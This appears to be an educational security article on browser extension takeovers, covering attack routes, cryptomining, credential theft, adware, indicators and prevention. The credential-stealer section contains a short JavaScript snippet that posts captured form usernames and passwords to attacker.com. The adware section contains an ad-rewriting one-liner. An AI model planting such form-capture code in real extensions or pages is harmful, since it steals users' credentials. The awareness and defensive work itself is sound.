

Browser Extension Takeovers

Browser extension takeovers **occur when malicious actors exploit vulnerabilities or manipulate browser extensions to gain unauthorized access, install malicious scripts, or hijack browser behavior.** These attacks can result in **cryptocurrency mining, credential theft, and adware injection, impacting user security and privacy.**

1. How Browser Extension Takeovers Happen

1. Malicious Extensions

- Attackers create or distribute browser extensions containing malicious code.
- Example
 - An extension claiming to improve performance but secretly mining cryptocurrency.

2. Compromised Legitimate Extensions

- Attackers take control of a trusted extension via:
 - **Developer Account Hijacking:** Compromising the extension developer's credentials.
 - **Supply Chain Attacks:** Injecting malicious updates into the extension's source code.
- Example
 - The "Copyfish" extension was compromised in 2017 after attackers hijacked the developer's credentials.

3. Exploiting Permissions

- Extensions often request excessive permissions (e.g., full access to websites, clipboard, or storage).
- Example
 - Extensions requesting:

```
"permissions": ["*://*/*", "storage", "tabs"]
```

4. Third-Party Libraries

- Extensions may rely on third-party libraries that contain vulnerabilities or backdoors.

5. Browser Updates

- Attackers exploit outdated browsers or extensions not patched for security flaws.

2. Types of Attacks Using Browser Extensions

a. Cryptocurrency Miners

- Inject scripts that silently mine cryptocurrencies like Monero using the victim's CPU resources.
- Impact
 - Slows down system performance.
 - Increases energy consumption.

- Example
 - A malicious extension injects Coinhive scripts to mine cryptocurrency when the browser is active.

b. Credential Stealers

- Extensions with access to input fields, cookies, or browser storage steal:
 - Login credentials.
 - Session tokens.
 - Payment information.
- Techniques
 - Capturing keystrokes or form submissions.
 - Extracting session cookies for account takeovers.
- Example

```
document.addEventListener('submit', (e) => {  
    fetch('https://attacker.com/steal', {  
        method: 'POST',  
        body: JSON.stringify({ username: e.target.username.value,  
password: e.target.password.value })  
    });  
});
```

c. Adware Injection

- Extensions inject malicious ads, pop-ups, or redirect traffic to earn revenue from affiliate networks.
- Impact
 - Alters legitimate website content.
 - Redirects users to phishing or malware-laden websites.
- Example
 - Replacing ads on example.com with attacker-controlled ads

```
document.body.innerHTML =  
document.body.innerHTML.replace(/adnetwork\.com/g, 'attacker-ads.com');
```

3. Indicators of Compromised Extensions

1. High CPU Usage

- Sudden spikes in CPU usage, even when idle, could indicate cryptomining.

2. Unexpected Ads or Pop-Ups

- Ads appearing on websites that normally don't display them.

3. Unauthorized Behavior

- Redirections to unknown websites.
- Requests for unexpected permissions.

4. **Slow Browser Performance**

- Compromised or malicious extensions may slow browsing activity due to mining or data exfiltration.

5. **New Unknown Extensions**

- Extensions you didn't install appearing in your browser.

4. Preventing Browser Extension Takeovers

a. Limit Extension Permissions

- **Least Privilege Principle**
 - Only install extensions with minimal permissions necessary for their functionality.
- **Review permissions like**
 - Access to all sites or Read and change data on all websites.

b. Use Trusted Extensions

- Install extensions only from **trusted sources**
 - Chrome Web Store, Mozilla Add-ons.
- Check user reviews, ratings, and the number of downloads.

c. Regularly Audit Extensions

- Periodically review installed extensions and remove unused or suspicious ones.

d. Enable Automatic Updates

- Keep both browsers and extensions updated to patch known vulnerabilities.

e. Monitor Extension Behavior

- Use tools to analyze extensions:
 - CRXcavator: Audits Chrome extensions for risks.
 - Privacy Badger: Blocks trackers and malicious scripts.

f. Use Security Solutions

- Implement security tools that:
 - Detect malicious browser extensions.
 - Prevent unauthorized script execution.

g. Be Cautious of Developer Abandonment

- Extensions abandoned by developers may get hijacked and updated with malicious code.

5. Example Scenario: Malicious Extension Hijacking

1. Original Scenario

- User installs a legitimate “ad blocker” extension with 5-star reviews.

2. Attack

- The attacker compromises the developer’s account and pushes a malicious update.
- The update includes a script to mine cryptocurrency in the background.

3. Result

- Users experience high CPU usage and slower system performance.
- Their browser silently connects to an attacker-controlled mining pool.

6. Summary

Attack Type	Description	Impact
Cryptocurrency Miners	Uses CPU power to mine crypto without user consent.	Slows system, increases energy usage.
Credential Stealers	Steals passwords, cookies, and tokens via input monitoring.	Account takeovers, data theft.
Adware Injection	Injects ads or redirects traffic to malicious sites.	Alters content, phishing, revenue fraud.

Browser extension takeovers pose a significant security risk, enabling attackers to inject miners, steal credentials, or display malicious ads. By carefully managing permissions, auditing extensions, and staying vigilant about unusual behavior, users and organizations can reduce the risk of extension-related attacks. Security awareness and proper hygiene are key to preventing these takeovers.